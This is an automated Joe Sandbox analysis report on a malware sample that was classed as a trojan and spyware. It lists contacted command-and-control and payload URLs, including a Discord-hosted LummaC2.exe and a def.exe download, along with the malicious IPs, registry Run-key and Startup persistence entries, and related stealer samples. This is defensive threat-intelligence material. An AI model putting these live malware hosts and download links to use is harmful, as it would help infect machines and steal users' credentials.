http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/gnin_profile_locked	69de3a997f.exe, 00000009.00000003.2779770084.0000000001090000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exee	69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188049460.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/D	axplong.exe, 00000002.00000002.4522273663.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apiK	69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpded3	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apite	69de3a997f.exe, 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://stackoverflow.com/q/14436606/23354	uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4532503032.00000000029BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/t	69de3a997f.exe, 0000000D.00000003.2863882525.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2857752536.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2873139281.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2871995390.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://schemas.datacontract.org/2004/07/	InstallUtil.exe, 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpSSOR_ARCHITEW6432=AMD64	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/Local	98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/i	69de3a997f.exe, 00000010.00000002.3200693291.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3189550027.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/j	69de3a997f.exe, 00000010.00000003.3039560172.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3040533949.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3121037778.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3119817223.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/rosoft	axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	69de3a997f.exe, 00000009.00000003.2611331228.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2714127611.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884580435.0000000005218000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpn7	98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/18	69de3a997f.exe, 00000009.00000003.2800161963.0000000001090000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2800500760.0000000001090000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpfonswindir=C:	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/l	69de3a997f.exe, 0000000D.00000002.2948470946.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2867267001.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php9001	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpk_	98a31794c6.exe, 0000000F.00000002.2757587305.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.datacontract.org/2004/07/d	InstallUtil.exe, 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedC	axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpKB	98a31794c6.exe, 00000008.00000002.2410605365.000000000139F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/3J	98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/2=	69de3a997f.exe, 0000000D.00000003.2650751149.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://necklacedmny.store/apit	69de3a997f.exe, 00000009.00000003.2698271858.0000000005879000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiLm	69de3a997f.exe, 00000009.00000002.3004143991.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/4	69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3003218366.0000000000BAA000.00000004.00000010.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188049460.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3196676680.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/D	69de3a997f.exe, 0000000D.00000003.2714087706.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2713426425.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2713983526.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php118001	axplong.exe, 00000002.00000003.2784329927.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.2784640728.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/9	69de3a997f.exe, 00000010.00000003.3025178197.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3025469444.0000000000D42000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpfons	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpM_H	axplong.exe, 00000002.00000002.4522273663.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-netJ	uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apitei	69de3a997f.exe, 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://necklacedmny.store:443/apiicrosoft	69de3a997f.exe, 00000010.00000003.3121461561.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exeQN	69de3a997f.exe, 00000010.00000002.3202145245.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3190170576.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188503917.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/q8g	69de3a997f.exe, 00000009.00000002.3006352587.0000000001090000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2986388312.0000000001088000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/lfons	axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	98a31794c6.exe, 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/)	69de3a997f.exe, 00000010.00000003.3025178197.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3025469444.0000000000D42000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/6c4adf523b719729.phps	98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/O	69de3a997f.exe, 00000010.00000003.3190170576.0000000000D44000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/	axplong.exe, 00000002.00000002.4522273663.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpB.	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=672122	axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/#	69de3a997f.exe, 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
150.241.90.56	b.strongest.network	Spain	207714	TECNALIAES	true
147.135.36.89	ipwho.is	United States	16276	OVHFR	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544238
Start date and time:	2024-10-29 05:01:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@25/17@16/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 69de3a997f.exe, PID 892 because there are no executed function
Execution Graph export aborted for target 98a31794c6.exe, PID 4612 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 7120 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4436 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:02:11	API Interceptor	13453695x Sleep call for process: axplong.exe modified
00:02:41	API Interceptor	284x Sleep call for process: 69de3a997f.exe modified
05:02:09	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
05:02:28	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs
05:02:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 98a31794c6.exe C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe
05:02:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 69de3a997f.exe C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
05:02:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 98a31794c6.exe C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe
05:03:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 69de3a997f.exe C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.135.36.89	XS3sNotzzw.exe	Get hash	malicious	Unknown	Browse	/?output=json
147.135.36.89	XS3sNotzzw.exe	Get hash	malicious	Unknown	Browse	/?output=json
188.114.97.3	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.discordapp.com	LDlanZur0i.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Fa1QSXjTZD.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	xxImTScxAq.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	EUOgPjsBTC.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	https://cdn.discordapp.com/attachments/1238968627324125338/1296061386824093747/shortlist.zip?ex=6710eaba&is=670f993a&hm=26822365df14863bfea627ad912a327a69fb54ae8b0d7ba1003822b35800c605&	Get hash	malicious	Unknown	Browse	162.159.129.233
	https://cdn.discordapp.com/attachments/1238968627324125338/1296061386824093747/shortlist.zip?ex=6710eaba&is=670f993a&hm=26822365df14863bfea627ad912a327a69fb54ae8b0d7ba1003822b35800c605&	Get hash	malicious	Unknown	Browse	162.159.130.233
	asegurar.vbs	Get hash	malicious	Unknown	Browse	162.159.129.233
	SecuriteInfo.com.Win64.MalwareX-gen.20317.810.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
ipwho.is	V9fubyadY6.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	https://tronlkam8s2.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	http://tronlkam8s2.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	http://cint.securiguard.cc	Get hash	malicious	TechSupportScam	Browse	108.181.98.179
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	195.201.57.90
	https://dca13.z4.web.core.windows.net/werrx01USAHTML/?bcda=1-877-883-8072#	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	d600758023374f78d58acafbcaf94af66ad203b28e22a.exe	Get hash	malicious	Quasar	Browse	108.181.98.179
	SCV.cmd	Get hash	malicious	Unknown	Browse	15.204.213.5
	SCV.cmd	Get hash	malicious	Unknown	Browse	195.201.57.90
	mbbkel3.cmd	Get hash	malicious	Unknown	Browse	195.201.57.90

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.W64.GenKryptik.GHEK.tr.25144.16407.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	104.21.21.60
TECNALIAES	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	150.241.95.250
	armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	150.241.88.132
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	150.241.95.250
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	150.241.44.227
	XfStyH0fNY.elf	Get hash	malicious	Mirai	Browse	150.241.92.110
	3P4acRdms1.elf	Get hash	malicious	Mirai	Browse	150.241.44.234
	sv35nTY4Fv.elf	Get hash	malicious	Mirai	Browse	150.241.44.221
	mpsl-20231005-1029.elf	Get hash	malicious	Mirai	Browse	150.241.44.234
	sora.arm.elf	Get hash	malicious	Mirai	Browse	150.241.92.106
	uuCAncltoX.elf	Get hash	malicious	Mirai	Browse	150.241.44.232
OVHFR	https://hianime.to	Get hash	malicious	Unknown	Browse	54.38.113.3
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	51.195.5.58
	http://doscome.cluster029.hosting.ovh.net/Sglient/	Get hash	malicious	Unknown	Browse	51.91.236.255
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	164.132.58.105
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	51.75.242.210
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	176.31.209.107
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	51.75.242.210
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	51.75.242.210
	nabarm5.elf	Get hash	malicious	Unknown	Browse	176.31.46.106
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	51.255.137.225
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	147.135.36.89
